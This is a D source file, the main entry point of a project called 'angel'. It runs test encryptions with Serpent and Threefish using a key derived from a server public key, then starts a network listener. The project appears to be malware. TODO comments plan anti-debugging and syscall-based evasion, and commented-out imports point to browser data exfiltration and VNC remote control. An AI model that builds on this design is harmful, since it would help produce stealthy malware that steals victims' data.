77 lines
1.9 KiB
D
77 lines
1.9 KiB
D
module angel.main;
|
|
|
|
// TODO optimize imports (only neccessary)
|
|
// TODO mutex check + execution timer
|
|
// TODO anti dbg
|
|
// TODO error handler ?? use auto, receive -> check for data, if none print result (err)
|
|
// TODO veh/vectored syscalls in suspended thread
|
|
|
|
// Internal imports
|
|
import angel.utils.logging;
|
|
import angel.utils.constants;
|
|
import angel.utils.clean;
|
|
import angel.conn : Listener;
|
|
|
|
//import angel.exfil.browser.browser;
|
|
import angel.utils.init;
|
|
|
|
//import angel.utils.cryptography.threefish;
|
|
//import angel.utils.cryptography.aes;
|
|
import angel.utils.cryptography.serpent;
|
|
import angel.utils.cryptography.cryptography;
|
|
import angel.utils.cryptography.cryptography : Serpi, Freefishy;
|
|
|
|
//import angel.utils.cryptography.gcm.gcm;
|
|
//import angel.utils.cryptography.aes;
|
|
import angel.utils.cryptography.threefish;
|
|
|
|
import angel.config : config;
|
|
|
|
//import angel.conn.vnc.vnc;
|
|
// External imports
|
|
import std.stdio;
|
|
import std.conv : to;
|
|
import core.thread.osthread;
|
|
import std.format;
|
|
|
|
int main()
|
|
{
|
|
init();
|
|
|
|
// ! Serpent implementation
|
|
|
|
Cryptography.KeyPair keypair = Cryptography.derive_25519(config.server_pk);
|
|
|
|
auto serp = new Serpi(keypair);
|
|
|
|
auto lol = serp.encrypt(cast(ubyte[]) "meow meow meow hi lol,lollolllllldlsaldlasflsdlf");
|
|
|
|
Logger.log(LogLevel.Debug, lol.to!string);
|
|
|
|
auto lol2 = serp.decrypt(lol);
|
|
|
|
Logger.log(LogLevel.Debug, lol2.to!string);
|
|
|
|
|
|
// ! ThreeFish512 implementation
|
|
auto kiii = Threefish512.generateKey();
|
|
auto tweaki = Threefish512.generateTweak();
|
|
|
|
Logger.log(LogLevel.Debug, format("Generated Key: %s", kiii));
|
|
Logger.log(LogLevel.Debug, format("Generated Tweak: %s", tweaki));
|
|
|
|
auto fish = new Freefishy(kiii, tweaki);
|
|
|
|
auto lol3 = fish.encrypt(cast(ubyte[]) "meow meow meow hi lol,lollolllllldlsaldlasflsdlf");
|
|
|
|
Logger.log(LogLevel.Debug, lol3.to!string);
|
|
|
|
auto lol4 = fish.decrypt(lol3);
|
|
|
|
Logger.log(LogLevel.Debug, lol4.to!string);
|
|
|
|
new Listener();
|
|
|
|
return 0;
|
|
}
|